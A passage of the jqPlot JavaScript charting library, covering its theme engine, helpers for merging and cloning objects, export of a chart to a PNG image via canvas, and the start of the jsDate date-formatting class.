this.title._elem.css('color'); } else { th.title[n] = this.title._elem.css(n); } } } for (n in th.grid) { th.grid[n] = this.grid[n]; } if (th.grid.backgroundColor == null && this.grid.background != null) { th.grid.backgroundColor = this.grid.background; } if (this.legend.show && this.legend._elem) { for (n in th.legend) { if (n == 'textColor') { th.legend[n] = this.legend._elem.css('color'); } else { th.legend[n] = this.legend._elem.css(n); } } } var s; for (i=0; i<this.series.length; i++) { s = this.series[i]; if (s.renderer.constructor == $.jqplot.LineRenderer) { th.series.push(new LineSeriesProperties()); } else if (s.renderer.constructor == $.jqplot.BarRenderer) { th.series.push(new BarSeriesProperties()); } else if (s.renderer.constructor == $.jqplot.PieRenderer) { th.series.push(new PieSeriesProperties()); } else if (s.renderer.constructor == $.jqplot.DonutRenderer) { th.series.push(new DonutSeriesProperties()); } else if (s.renderer.constructor == $.jqplot.FunnelRenderer) { th.series.push(new FunnelSeriesProperties()); } else if (s.renderer.constructor == $.jqplot.MeterGaugeRenderer) { th.series.push(new MeterSeriesProperties()); } else { th.series.push({}); } for (n in th.series[i]) { th.series[i][n] = s[n]; } } var a, ax; for (n in this.axes) { ax = this.axes[n]; a = th.axes[n] = new AxisProperties(); a.borderColor = ax.borderColor; a.borderWidth = ax.borderWidth; if (ax._ticks && ax._ticks[0]) { for (nn in a.ticks) { if (ax._ticks[0].hasOwnProperty(nn)) { a.ticks[nn] = ax._ticks[0][nn]; } else if (ax._ticks[0]._elem){ a.ticks[nn] = ax._ticks[0]._elem.css(nn); } } } if (ax._label && ax._label.show) { for (nn in a.label) { // a.label[nn] = ax._label._elem.css(nn); if (ax._label[nn]) { a.label[nn] = ax._label[nn]; } else if (ax._label._elem){ if (nn == 'textColor') { a.label[nn] = ax._label._elem.css('color'); } else { a.label[nn] = ax._label._elem.css(nn); } } } } } this.themeEngine._add(th); this.themeEngine.activeTheme = this.themeEngine.themes[th._name]; }; /** * Group: methods * * method: get * * Get and return the named theme or the active theme if no name given. * * parameter: * * name - name of theme to get. * * returns: * * Theme instance of given name. */ $.jqplot.ThemeEngine.prototype.get = function(name) { if (!name) { // return the active theme return this.activeTheme; } else { return this.themes[name]; } }; function numericalOrder(a,b) { return a-b; } /** * method: getThemeNames * * Return the list of theme names in this manager in alpha-numerical order. * * parameter: * * None * * returns: * * A the list of theme names in this manager in alpha-numerical order. */ $.jqplot.ThemeEngine.prototype.getThemeNames = function() { var tn = []; for (var n in this.themes) { tn.push(n); } return tn.sort(numericalOrder); }; /** * method: getThemes * * Return a list of themes in alpha-numerical order by name. * * parameter: * * None * * returns: * * A list of themes in alpha-numerical order by name. */ $.jqplot.ThemeEngine.prototype.getThemes = function() { var tn = []; var themes = []; for (var n in this.themes) { tn.push(n); } tn.sort(numericalOrder); for (var i=0; i<tn.length; i++) { themes.push(this.themes[tn[i]]); } return themes; }; $.jqplot.ThemeEngine.prototype.activate = function(plot, name) { // sometimes need to redraw whole plot. var redrawPlot = false; if (!name && this.activeTheme && this.activeTheme._name) { name = this.activeTheme._name; } if (!this.themes.hasOwnProperty(name)) { throw new Error("No theme of that name"); } else { var th = this.themes[name]; this.activeTheme = th; var val, checkBorderColor = false, checkBorderWidth = false; var arr = ['xaxis', 'x2axis', 'yaxis', 'y2axis']; for (i=0; i<arr.length; i++) { var ax = arr[i]; if (th.axesStyles.borderColor != null) { plot.axes[ax].borderColor = th.axesStyles.borderColor; } if (th.axesStyles.borderWidth != null) { plot.axes[ax].borderWidth = th.axesStyles.borderWidth; } } for (var axname in plot.axes) { var axis = plot.axes[axname]; if (axis.show) { var thaxis = th.axes[axname] || {}; var thaxstyle = th.axesStyles; var thax = $.jqplot.extend(true, {}, thaxis, thaxstyle); val = (th.axesStyles.borderColor != null) ? th.axesStyles.borderColor : thax.borderColor; if (thax.borderColor != null) { axis.borderColor = thax.borderColor; redrawPlot = true; } val = (th.axesStyles.borderWidth != null) ? th.axesStyles.borderWidth : thax.borderWidth; if (thax.borderWidth != null) { axis.borderWidth = thax.borderWidth; redrawPlot = true; } if (axis._ticks && axis._ticks[0]) { for (var nn in thax.ticks) { // val = null; // if (th.axesStyles.ticks && th.axesStyles.ticks[nn] != null) { // val = th.axesStyles.ticks[nn]; // } // else if (thax.ticks[nn] != null){ // val = thax.ticks[nn] // } val = thax.ticks[nn]; if (val != null) { axis.tickOptions[nn] = val; axis._ticks = []; redrawPlot = true; } } } if (axis._label && axis._label.show) { for (var nn in thax.label) { // val = null; // if (th.axesStyles.label && th.axesStyles.label[nn] != null) { // val = th.axesStyles.label[nn]; // } // else if (thax.label && thax.label[nn] != null){ // val = thax.label[nn] // } val = thax.label[nn]; if (val != null) { axis.labelOptions[nn] = val; redrawPlot = true; } } } } } for (var n in th.grid) { if (th.grid[n] != null) { plot.grid[n] = th.grid[n]; } } if (!redrawPlot) { plot.grid.draw(); } if (plot.legend.show) { for (n in th.legend) { if (th.legend[n] != null) { plot.legend[n] = th.legend[n]; } } } if (plot.title.show) { for (n in th.title) { if (th.title[n] != null) { plot.title[n] = th.title[n]; } } } var i; for (i=0; i<th.series.length; i++) { var opts = {}; var redrawSeries = false; for (n in th.series[i]) { val = (th.seriesStyles[n] != null) ? th.seriesStyles[n] : th.series[i][n]; if (val != null) { opts[n] = val; if (n == 'color') { plot.series[i].renderer.shapeRenderer.fillStyle = val; plot.series[i].renderer.shapeRenderer.strokeStyle = val; plot.series[i][n] = val; } else if ((n == 'lineWidth') || (n == 'linePattern')) { plot.series[i].renderer.shapeRenderer[n] = val; plot.series[i][n] = val; } else if (n == 'markerOptions') { merge (plot.series[i].markerOptions, val); merge (plot.series[i].markerRenderer, val); } else { plot.series[i][n] = val; } redrawPlot = true; } } } if (redrawPlot) { plot.target.empty(); plot.draw(); } for (n in th.target) { if (th.target[n] != null) { plot.target.css(n, th.target[n]); } } } }; $.jqplot.ThemeEngine.prototype._add = function(theme, name) { if (name) { theme._name = name; } if (!theme._name) { theme._name = Date.parse(new Date()); } if (!this.themes.hasOwnProperty(theme._name)) { this.themes[theme._name] = theme; } else { throw new Error("jqplot.ThemeEngine Error: Theme already in use"); } }; // method remove // Delete the named theme, return true on success, false on failure. /** * method: remove * * Remove the given theme from the themeEngine. * * parameters: * * name - name of the theme to remove. * * returns: * * true on success, false on failure. */ $.jqplot.ThemeEngine.prototype.remove = function(name) { if (name == 'Default') { return false; } return delete this.themes[name]; }; /** * method: newTheme * * Create a new theme based on the default theme, adding it the themeEngine. * * parameters: * * name - name of the new theme. * obj - optional object of styles to be applied to this new theme. * * returns: * * new Theme object. */ $.jqplot.ThemeEngine.prototype.newTheme = function(name, obj) { if (typeof(name) == 'object') { obj = obj || name; name = null; } if (obj && obj._name) { name = obj._name; } else { name = name || Date.parse(new Date()); } // var th = new $.jqplot.Theme(name); var th = this.copy(this.themes['Default']._name, name); $.jqplot.extend(th, obj); return th; }; // function clone(obj) { // return eval(obj.toSource()); // } function clone(obj){ if(obj == null || typeof(obj) != 'object'){ return obj; } var temp = new obj.constructor(); for(var key in obj){ temp[key] = clone(obj[key]); } return temp; } $.jqplot.clone = clone; function merge(obj1, obj2) { if (obj2 == null || typeof(obj2) != 'object') { return; } for (var key in obj2) { if (key == 'highlightColors') { obj1[key] = clone(obj2[key]); } if (obj2[key] != null && typeof(obj2[key]) == 'object') { if (!obj1.hasOwnProperty(key)) { obj1[key] = {}; } merge(obj1[key], obj2[key]); } else { obj1[key] = obj2[key]; } } } $.jqplot.merge = merge; // Use the jQuery 1.3.2 extend function since behaviour in jQuery 1.4 seems problematic $.jqplot.extend = function() { // copy reference to target object var target = arguments[0] || {}, i = 1, length = arguments.length, deep = false, options; // Handle a deep copy situation if ( typeof target === "boolean" ) { deep = target; target = arguments[1] || {}; // skip the boolean and the target i = 2; } // Handle case when target is a string or something (possible in deep copy) if ( typeof target !== "object" && !toString.call(target) === "[object Function]" ) { target = {}; } for ( ; i < length; i++ ){ // Only deal with non-null/undefined values if ( (options = arguments[ i ]) != null ) { // Extend the base object for ( var name in options ) { var src = target[ name ], copy = options[ name ]; // Prevent never-ending loop if ( target === copy ) { continue; } // Recurse if we're merging object values if ( deep && copy && typeof copy === "object" && !copy.nodeType ) { target[ name ] = $.jqplot.extend( deep, // Never move original objects, clone them src || ( copy.length != null ? [ ] : { } ) , copy ); } // Don't bring in undefined values else if ( copy !== undefined ) { target[ name ] = copy; } } } } // Return the modified object return target; }; /** * method: rename * * Rename a theme. * * parameters: * * oldName - current name of the theme. * newName - desired name of the theme. * * returns: * * new Theme object. */ $.jqplot.ThemeEngine.prototype.rename = function (oldName, newName) { if (oldName == 'Default' || newName == 'Default') { throw new Error ("jqplot.ThemeEngine Error: Cannot rename from/to Default"); } if (this.themes.hasOwnProperty(newName)) { throw new Error ("jqplot.ThemeEngine Error: New name already in use."); } else if (this.themes.hasOwnProperty(oldName)) { var th = this.copy (oldName, newName); this.remove(oldName); return th; } throw new Error("jqplot.ThemeEngine Error: Old name or new name invalid"); }; /** * method: copy * * Create a copy of an existing theme in the themeEngine, adding it the themeEngine. * * parameters: * * sourceName - name of the existing theme. * targetName - name of the copy. * obj - optional object of style parameter to apply to the new theme. * * returns: * * new Theme object. */ $.jqplot.ThemeEngine.prototype.copy = function (sourceName, targetName, obj) { if (targetName == 'Default') { throw new Error ("jqplot.ThemeEngine Error: Cannot copy over Default theme"); } if (!this.themes.hasOwnProperty(sourceName)) { var s = "jqplot.ThemeEngine Error: Source name invalid"; throw new Error(s); } if (this.themes.hasOwnProperty(targetName)) { var s = "jqplot.ThemeEngine Error: Target name invalid"; throw new Error(s); } else { var th = clone(this.themes[sourceName]); th._name = targetName; $.jqplot.extend(true, th, obj); this._add(th); return th; } }; $.jqplot.Theme = function(name, obj) { if (typeof(name) == 'object') { obj = obj || name; name = null; } name = name || Date.parse(new Date()); this._name = name; this.target = { backgroundColor: null }; this.legend = { textColor: null, fontFamily: null, fontSize: null, border: null, background: null }; this.title = { textColor: null, fontFamily: null, fontSize: null, textAlign: null }; this.seriesStyles = {}; this.series = []; this.grid = { drawGridlines: null, gridLineColor: null, gridLineWidth: null, backgroundColor: null, borderColor: null, borderWidth: null, shadow: null }; this.axesStyles = {label:{}, ticks:{}}; this.axes = {}; if (typeof(obj) == 'string') { this._name = obj; } else if(typeof(obj) == 'object') { $.jqplot.extend(true, this, obj); } }; var AxisProperties = function() { this.borderColor = null; this.borderWidth = null; this.ticks = new AxisTicks(); this.label = new AxisLabel(); }; var AxisTicks = function() { this.show = null; this.showGridline = null; this.showLabel = null; this.showMark = null; this.size = null; this.textColor = null; this.whiteSpace = null; this.fontSize = null; this.fontFamily = null; }; var AxisLabel = function() { this.textColor = null; this.whiteSpace = null; this.fontSize = null; this.fontFamily = null; this.fontWeight = null; }; var LineSeriesProperties = function() { this.color=null; this.lineWidth=null; this.linePattern=null; this.shadow=null; this.fillColor=null; this.showMarker=null; this.markerOptions = new MarkerOptions(); }; var MarkerOptions = function() { this.show = null; this.style = null; this.lineWidth = null; this.size = null; this.color = null; this.shadow = null; }; var BarSeriesProperties = function() { this.color=null; this.seriesColors=null; this.lineWidth=null; this.shadow=null; this.barPadding=null; this.barMargin=null; this.barWidth=null; this.highlightColors=null; }; var PieSeriesProperties = function() { this.seriesColors=null; this.padding=null; this.sliceMargin=null; this.fill=null; this.shadow=null; this.startAngle=null; this.lineWidth=null; this.highlightColors=null; }; var DonutSeriesProperties = function() { this.seriesColors=null; this.padding=null; this.sliceMargin=null; this.fill=null; this.shadow=null; this.startAngle=null; this.lineWidth=null; this.innerDiameter=null; this.thickness=null; this.ringMargin=null; this.highlightColors=null; }; var FunnelSeriesProperties = function() { this.color=null; this.lineWidth=null; this.shadow=null; this.padding=null; this.sectionMargin=null; this.seriesColors=null; this.highlightColors=null; }; var MeterSeriesProperties = function() { this.padding=null; this.backgroundColor=null; this.ringColor=null; this.tickColor=null; this.ringWidth=null; this.intervalColors=null; this.intervalInnerRadius=null; this.intervalOuterRadius=null; this.hubRadius=null; this.needleThickness=null; this.needlePad=null; }; $.fn.jqplotChildText = function() { return $(this).contents().filter(function() { return this.nodeType == 3; // Node.TEXT_NODE not defined in I7 }).text(); }; // Returns font style as abbreviation for "font" property. $.fn.jqplotGetComputedFontStyle = function() { var css = window.getComputedStyle ? window.getComputedStyle(this[0], "") : this[0].currentStyle; var attrs = css['font-style'] ? ['font-style', 'font-weight', 'font-size', 'font-family'] : ['fontStyle', 'fontWeight', 'fontSize', 'fontFamily']; var style = []; for (var i=0 ; i < attrs.length; ++i) { var attr = String(css[attrs[i]]); if (attr && attr != 'normal') { style.push(attr); } } return style.join(' '); }; /** * Namespace: $.fn * jQuery namespace to attach functions to jQuery elements. * */ $.fn.jqplotToImageCanvas = function(options) { options = options || {}; var x_offset = (options.x_offset == null) ? 0 : options.x_offset; var y_offset = (options.y_offset == null) ? 0 : options.y_offset; var backgroundColor = (options.backgroundColor == null) ? 'rgb(255,255,255)' : options.backgroundColor; if ($(this).width() == 0 || $(this).height() == 0) { return null; } // excanvas and hence IE < 9 do not support toDataURL and cannot export images. if ($.jqplot.use_excanvas) { return null; } var newCanvas = document.createElement("canvas"); var h = $(this).outerHeight(true); var w = $(this).outerWidth(true); var offs = $(this).offset(); var plotleft = offs.left; var plottop = offs.top; var transx = 0, transy = 0; // have to check if any elements are hanging outside of plot area before rendering, // since changing width of canvas will erase canvas. var clses = ['jqplot-table-legend', 'jqplot-xaxis-tick', 'jqplot-x2axis-tick', 'jqplot-yaxis-tick', 'jqplot-y2axis-tick', 'jqplot-y3axis-tick', 'jqplot-y4axis-tick', 'jqplot-y5axis-tick', 'jqplot-y6axis-tick', 'jqplot-y7axis-tick', 'jqplot-y8axis-tick', 'jqplot-y9axis-tick', 'jqplot-xaxis-label', 'jqplot-x2axis-label', 'jqplot-yaxis-label', 'jqplot-y2axis-label', 'jqplot-y3axis-label', 'jqplot-y4axis-label', 'jqplot-y5axis-label', 'jqplot-y6axis-label', 'jqplot-y7axis-label', 'jqplot-y8axis-label', 'jqplot-y9axis-label' ]; var temptop, templeft, tempbottom, tempright; for (var i = 0; i < clses.length; i++) { $(this).find('.'+clses[i]).each(function() { temptop = $(this).offset().top - plottop; templeft = $(this).offset().left - plotleft; tempright = templeft + $(this).outerWidth(true) + transx; tempbottom = temptop + $(this).outerHeight(true) + transy; if (templeft < -transx) { w = w - transx - templeft; transx = -templeft; } if (temptop < -transy) { h = h - transy - temptop; transy = - temptop; } if (tempright > w) { w = tempright; } if (tempbottom > h) { h = tempbottom; } }); } newCanvas.width = w + Number(x_offset); newCanvas.height = h + Number(y_offset); var newContext = newCanvas.getContext("2d"); newContext.save(); newContext.fillStyle = backgroundColor; newContext.fillRect(0,0, newCanvas.width, newCanvas.height); newContext.restore(); newContext.translate(transx, transy); newContext.textAlign = 'left'; newContext.textBaseline = 'top'; function getLineheight(el) { var lineheight = parseInt($(el).css('line-height'), 10); if (isNaN(lineheight)) { lineheight = parseInt($(el).css('font-size'), 10) * 1.2; } return lineheight; } function writeWrappedText (el, context, text, left, top, canvasWidth) { var lineheight = getLineheight(el); var tagwidth = $(el).innerWidth(); var tagheight = $(el).innerHeight(); var words = text.split(/\s+/); var wl = words.length; var w = ''; var breaks = []; var temptop = top; var templeft = left; for (var i=0; i<wl; i++) { w += words[i]; if (context.measureText(w).width > tagwidth && w.length > words[i].length) { breaks.push(i); w = ''; i--; } } if (breaks.length === 0) { // center text if necessary if ($(el).css('textAlign') === 'center') { templeft = left + (canvasWidth - context.measureText(w).width)/2 - transx; } context.fillText(text, templeft, top); } else { w = words.slice(0, breaks[0]).join(' '); // center text if necessary if ($(el).css('textAlign') === 'center') { templeft = left + (canvasWidth - context.measureText(w).width)/2 - transx; } context.fillText(w, templeft, temptop); temptop += lineheight; for (var i=1, l=breaks.length; i<l; i++) { w = words.slice(breaks[i-1], breaks[i]).join(' '); // center text if necessary if ($(el).css('textAlign') === 'center') { templeft = left + (canvasWidth - context.measureText(w).width)/2 - transx; } context.fillText(w, templeft, temptop); temptop += lineheight; } w = words.slice(breaks[i-1], words.length).join(' '); // center text if necessary if ($(el).css('textAlign') === 'center') { templeft = left + (canvasWidth - context.measureText(w).width)/2 - transx; } context.fillText(w, templeft, temptop); } } function _jqpToImage(el, x_offset, y_offset) { var tagname = el.tagName.toLowerCase(); var p = $(el).position(); var css = window.getComputedStyle ? window.getComputedStyle(el, "") : el.currentStyle; // for IE < 9 var left = x_offset + p.left + parseInt(css.marginLeft, 10) + parseInt(css.borderLeftWidth, 10) + parseInt(css.paddingLeft, 10); var top = y_offset + p.top + parseInt(css.marginTop, 10) + parseInt(css.borderTopWidth, 10)+ parseInt(css.paddingTop, 10); var w = newCanvas.width; // var left = x_offset + p.left + $(el).css('marginLeft') + $(el).css('borderLeftWidth') // somehow in here, for divs within divs, the width of the inner div should be used instead of the canvas. if ((tagname == 'div' || tagname == 'span') && !$(el).hasClass('jqplot-highlighter-tooltip')) { $(el).children().each(function() { _jqpToImage(this, left, top); }); var text = $(el).jqplotChildText(); if (text) { newContext.font = $(el).jqplotGetComputedFontStyle(); newContext.fillStyle = $(el).css('color'); writeWrappedText(el, newContext, text, left, top, w); } } // handle the standard table legend else if (tagname === 'table' && $(el).hasClass('jqplot-table-legend')) { newContext.strokeStyle = $(el).css('border-top-color'); newContext.fillStyle = $(el).css('background-color'); newContext.fillRect(left, top, $(el).innerWidth(), $(el).innerHeight()); if (parseInt($(el).css('border-top-width'), 10) > 0) { newContext.strokeRect(left, top, $(el).innerWidth(), $(el).innerHeight()); } // find all the swatches $(el).find('div.jqplot-table-legend-swatch-outline').each(function() { // get the first div and stroke it var elem = $(this); newContext.strokeStyle = elem.css('border-top-color'); var l = left + elem.position().left; var t = top + elem.position().top; newContext.strokeRect(l, t, elem.innerWidth(), elem.innerHeight()); // now fill the swatch l += parseInt(elem.css('padding-left'), 10); t += parseInt(elem.css('padding-top'), 10); var h = elem.innerHeight() - 2 * parseInt(elem.css('padding-top'), 10); var w = elem.innerWidth() - 2 * parseInt(elem.css('padding-left'), 10); var swatch = elem.children('div.jqplot-table-legend-swatch'); newContext.fillStyle = swatch.css('background-color'); newContext.fillRect(l, t, w, h); }); // now add text $(el).find('td.jqplot-table-legend-label').each(function(){ var elem = $(this); var l = left + elem.position().left; var t = top + elem.position().top + parseInt(elem.css('padding-top'), 10); newContext.font = elem.jqplotGetComputedFontStyle(); newContext.fillStyle = elem.css('color'); writeWrappedText(elem, newContext, elem.text(), l, t, w); }); var elem = null; } else if (tagname == 'canvas') { newContext.drawImage(el, left, top); } } $(this).children().each(function() { _jqpToImage(this, x_offset, y_offset); }); return newCanvas; }; // return the raw image data string. // Should work on canvas supporting browsers. $.fn.jqplotToImageStr = function(options) { var imgCanvas = $(this).jqplotToImageCanvas(options); if (imgCanvas) { return imgCanvas.toDataURL("image/png"); } else { return null; } }; // return a DOM <img> element and return it. // Should work on canvas supporting browsers. $.fn.jqplotToImageElem = function(options) { var elem = document.createElement("img"); var str = $(this).jqplotToImageStr(options); elem.src = str; return elem; }; // return a string for an <img> element and return it. // Should work on canvas supporting browsers. $.fn.jqplotToImageElemStr = function(options) { var str = '<img src='+$(this).jqplotToImageStr(options)+' />'; return str; }; // Not guaranteed to work, even on canvas supporting browsers due to // limitations with location.href and browser support. $.fn.jqplotSaveImage = function() { var imgData = $(this).jqplotToImageStr({}); if (imgData) { window.location.href = imgData.replace("image/png", "image/octet-stream"); } }; // Not guaranteed to work, even on canvas supporting browsers due to // limitations with window.open and arbitrary data. $.fn.jqplotViewImage = function() { var imgStr = $(this).jqplotToImageElemStr({}); var imgData = $(this).jqplotToImageStr({}); if (imgStr) { var w = window.open(''); w.document.open("image/png"); w.document.write(imgStr); w.document.close(); w = null; } }; /** * @description * <p>Object with extended date parsing and formatting capabilities. * This library borrows many concepts and ideas from the Date Instance * Methods by Ken Snyder along with some parts of Ken's actual code.</p> * * <p>jsDate takes a different approach by not extending the built-in * Date Object, improving date parsing, allowing for multiple formatting * syntaxes and multiple and more easily expandable localization.</p> * * @author Chris Leonello * @date #date# * @version #VERSION# * @copyright (c) 2010-2015 Chris Leonello * jsDate is currently available for use in all personal or commercial projects * under both the MIT and GPL version 2.0 licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * <p>Ken's original Date Instance Methods and copyright notice:</p> * <pre> * Ken Snyder (ken d snyder at gmail dot com) * 2008-09-10 * version 2.0.2 (http://kendsnyder.com/sandbox/date/) * Creative Commons Attribution License 3.0 (http://creativecommons.org/licenses/by/3.0/) * </pre> * * @class * @name jsDate * @param {String | Number | Array | Date Object | Options Object} arguments Optional arguments, either a parsable date/time string, * a JavaScript timestamp, an array of numbers of form [year, month, day, hours, minutes, seconds, milliseconds], * a Date object, or an options object of form {syntax: "perl", date:some Date} where all options are optional. */ var jsDate = function () { this.syntax = jsDate.config.syntax; this._type = "jsDate"; this.proxy = new Date(); this.options = {}; this.locale = jsDate.regional.getLocale(); this.formatString = ''; this.defaultCentury = jsDate.config.defaultCentury; switch ( arguments.length ) { case 0: break; case 1: // other objects either won't have a _type property or, // if they do, it shouldn't be set to "jsDate", so // assume it is an options argument. if (get_type(arguments[0]) == "[object Object]" && arguments[0]._type != "jsDate") { var opts = this.options = arguments[0]; this.syntax = opts.syntax || this.syntax; this.defaultCentury = opts.defaultCentury || this.defaultCentury; this.proxy = jsDate.createDate(opts.date); } else { this.proxy = jsDate.createDate(arguments[0]); } break; default: var a = []; for ( var i=0; i<arguments.length; i++ ) { a.push(arguments[i]); } // this should be the current date/time? this.proxy = new Date(); this.proxy.setFullYear.apply( this.proxy, a.slice(0,3) ); if ( a.slice(3).length ) { this.proxy.setHours.apply( this.proxy, a.slice(3) ); } break; } }; /** * @namespace Configuration options that will be used as defaults for all instances on the page. * @property {String} defaultLocale The default locale to use [en]. * @property {String} syntax The default syntax to use [perl]. * @property {Number} defaultCentury The default centry for 2 digit dates. */ jsDate.config = { defaultLocale: 'en', syntax: 'perl', defaultCentury: 1900 }; /** * Add an arbitrary amount to the currently stored date * * @param {Number} number * @param {String} unit * @returns {jsDate} */ jsDate.prototype.add = function(number, unit) { var factor = multipliers[unit] || multipliers.day; if (typeof factor == 'number') { this.proxy.setTime(this.proxy.getTime() + (factor * number)); } else { factor.add(this, number); } return this; }; /** * Create a new jqplot.date object with the same date * * @returns {jsDate} */ jsDate.prototype.clone = function() { return new jsDate(this.proxy.getTime()); }; /** * Get the UTC TimeZone Offset of this date in milliseconds. * * @returns {Number} */ jsDate.prototype.getUtcOffset = function() { return this.proxy.getTimezoneOffset() * 60000; }; /** * Find the difference between this jsDate and another date. * * @param {String| Number| Array| jsDate Object| Date Object} dateObj * @param {String} unit * @param {Boolean} allowDecimal * @returns {Number} Number of units difference between dates. */ jsDate.prototype.diff = function(dateObj, unit, allowDecimal) { // ensure we have a Date object dateObj = new jsDate(dateObj); if (dateObj === null) { return null; } // get the multiplying factor integer or factor function var factor = multipliers[unit] || multipliers.day; if (typeof factor == 'number') { // multiply var unitDiff = (this.proxy.getTime() - dateObj.proxy.getTime()) / factor; } else { // run function var unitDiff = factor.diff(this.proxy, dateObj.proxy); } // if decimals are not allowed, round toward zero return (allowDecimal ? unitDiff : Math[unitDiff > 0 ? 'floor' : 'ceil'](unitDiff)); }; /** * Get the abbreviated name of the current week day * * @returns {String} */ jsDate.prototype.getAbbrDayName = function() { return jsDate.regional[this.locale]["dayNamesShort"][this.proxy.getDay()]; }; /** * Get the abbreviated name of the current month * * @returns {String} */ jsDate.prototype.getAbbrMonthName = function() { return jsDate.regional[this.locale]["monthNamesShort"][this.proxy.getMonth()]; }; /** * Get UPPER CASE AM or PM for the current time * * @returns {String} */ jsDate.prototype.getAMPM = function() { return this.proxy.getHours() >= 12 ? 'PM' : 'AM'; }; /** * Get lower case am or pm for the current time * * @returns {String} */ jsDate.prototype.getAmPm = function() { return this.proxy.getHours() >= 12 ? 'pm' : 'am'; }; /** * Get the century (19 for 20th Century) * * @returns {Integer} Century (19 for 20th century). */ jsDate.prototype.getCentury = function() { return parseInt(this.proxy.getFullYear()/100, 10); }; /** * Implements Date functionality */ jsDate.prototype.getDate = function() { return this.proxy.getDate(); }; /** * Implements Date functionality */ jsDate.prototype.getDay = function() { return this.proxy.getDay(); }; /** * Get the Day of week 1 (Monday) thru 7 (Sunday) * * @returns {Integer} Day of week 1 (Monday) thru 7 (Sunday) */ jsDate.prototype.getDayOfWeek = function() { var dow = this.proxy.getDay(); return dow===0?7:dow; }; /** * Get the day of the year * * @returns {Integer} 1 - 366, day of the year */ jsDate.prototype.getDayOfYear = function() { var d = this.proxy; var ms = d - new Date('' + d.getFullYear() + '/1/1 GMT'); ms += d.getTimezoneOffset()*60000; d = null; return parseInt(ms/60000/60/24, 10)+1; }; /** * Get the name of the current week day * * @returns {String} */ jsDate.prototype.getDayName = function() { return jsDate.regional[this.locale]["dayNames"][this.proxy.getDay()]; }; /** * Get the week number of the given year, starting with the first Sunday as the first week * @returns {Integer} Week number (13 for the 13th full week of the year). */ jsDate.prototype.getFullWeekOfYear = function() { var d = this.proxy; var doy = this.getDayOfYear(); var rdow = 6-d.getDay(); var woy = parseInt((doy+rdow)/7, 10); return woy; }; /** * Implements Date functionality */ jsDate.prototype.getFullYear = function() { return this.proxy.getFullYear(); }; /** * Get the GMT offset in hours and minutes (e.g. +06:30) * * @returns {String} */ jsDate.prototype.getGmtOffset = function() { // divide the minutes offset by 60 var hours = this.proxy.getTimezoneOffset() / 60; // decide if we are ahead of or behind GMT var prefix = hours < 0 ? '+' : '-'; // remove the negative sign if any hours = Math.abs(hours); // add the +/- to the padded number of hours to : to the padded minutes return prefix + addZeros(Math.floor(hours), 2) + ':' + addZeros((hours % 1) * 60, 2); }; /** * Implements Date functionality */ jsDate.prototype.getHours = function() { return this.proxy.getHours(); }; /** * Get the current hour on a 12-hour scheme * * @returns {Integer} */ jsDate.prototype.getHours12 = function() { var hours = this.proxy.getHours(); return hours > 12 ? hours - 12 : (hours == 0 ? 12 : hours); }; jsDate.prototype.getIsoWeek = function() { var d = this.proxy; var woy = this.getWeekOfYear(); var dow1_1 = (new Date('' + d.getFullYear() + '/1/1')).getDay(); // First week is 01 and not 00 as in the case of %U and %W, // so we add 1 to the final result except if day 1 of the year // is a Monday (then %W returns 01). // We also need to subtract 1 if the day 1 of the year is // Friday-Sunday, so the resulting equation becomes: var idow = woy + (dow1_1 > 4 || dow1_1 <= 1 ? 0 : 1); if(idow == 53 && (new Date('' + d.getFullYear() + '/12/31')).getDay() < 4) { idow = 1; } else if(idow === 0) { d = new jsDate(new Date('' + (d.getFullYear()-1) + '/12/31')); idow = d.getIsoWeek(); } d = null; return idow; }; /** * Implements Date functionality */ jsDate.prototype.getMilliseconds = function() { return this.proxy.getMilliseconds(); }; /** * Implements Date functionality */ jsDate.prototype.getMinutes = function() { return this.proxy.getMinutes(); }; /** * Implements Date functionality */ jsDate.prototype.getMonth = function() { return this.proxy.getMonth(); }; /** * Get the name of the current month * * @returns {String} */ jsDate.prototype.getMonthName = function() { return jsDate.regional[this.locale]["monthNames"][this.proxy.getMonth()]; }; /** * Get the number of the current month, 1-12 * * @returns {Integer} */ jsDate.prototype.getMonthNumber = function() { return this.proxy.getMonth() + 1; }; /** * Implements Date functionality */ jsDate.prototype.getSeconds = function() { return this.proxy.getSeconds(); }; /** * Return a proper two-digit year integer * * @returns {Integer} */ jsDate.prototype.getShortYear = function() { return this.proxy.getYear() % 100; }; /** * Implements Date functionality */ jsDate.prototype.getTime = function() { return this.proxy.getTime(); }; /** * Get the timezone abbreviation * * @returns {String} Abbreviation for the timezone */ jsDate.prototype.getTimezoneAbbr = function() { return this.proxy.toString().replace(/^.*\(([^)]+)\)$/, '$1'); }; /** * Get the browser-reported name for the current timezone (e.g. MDT, Mountain Daylight Time) * * @returns {String} */ jsDate.prototype.getTimezoneName = function() { var match = /(?:\((.+)\)$| ([A-Z]{3}) )/.exec(this.toString()); return match[1] || match[2] || 'GMT' + this.getGmtOffset(); }; /** * Implements Date functionality */ jsDate.prototype.getTimezoneOffset = function() { return this.proxy.getTimezoneOffset(); }; /** * Get the week number of the given year, starting with the first Monday as the first week * @returns {Integer} Week number (13 for the 13th week of the year). */ jsDate.prototype.getWeekOfYear = function() { var doy = this.getDayOfYear(); var rdow = 7 - this.getDayOfWeek(); var woy = parseInt((doy+rdow)/7, 10); return woy; }; /** * Get the current date as a Unix timestamp * * @returns {Integer} */ jsDate.prototype.getUnix = function() { return Math.round(this.proxy.getTime() / 1000, 0); }; /** * Implements Date functionality */ jsDate.prototype.getYear = function() { return this.proxy.getYear(); }; /** * Return a date one day ahead (or any other unit) * * @param {String} unit Optional, year | month | day | week | hour | minute | second | millisecond * @returns {jsDate} */ jsDate.prototype.next = function(unit) { unit = unit || 'day'; return this.clone().add(1, unit); }; /** * Set the jsDate instance to a new date. * * @param {String | Number | Array | Date Object | jsDate Object | Options Object} arguments Optional arguments, * either a parsable date/time string, * a JavaScript timestamp, an array of numbers of form [year, month, day, hours, minutes, seconds, milliseconds], * a Date object, jsDate Object or an options object of form {syntax: "perl", date:some Date} where all options are optional. */ jsDate.prototype.set = function() { switch ( arguments.length ) { case 0: this.proxy = new Date(); break; case 1: // other objects either won't have a _type property or, // if they do, it shouldn't be set to "jsDate", so // assume it is an options argument. if (get_type(arguments[0]) == "[object Object]" && arguments[0]._type != "jsDate") { var opts = this.options = arguments[0]; this.syntax = opts.syntax || this.syntax; this.defaultCentury = opts.defaultCentury || this.defaultCentury; this.proxy = jsDate.createDate(opts.date); } else { this.proxy = jsDate.createDate(arguments[0]); } break; default: var a = []; for ( var i=0; i<arguments.length; i++ ) { a.push(arguments[i]); } // this should be the current date/time this.proxy = new Date(); 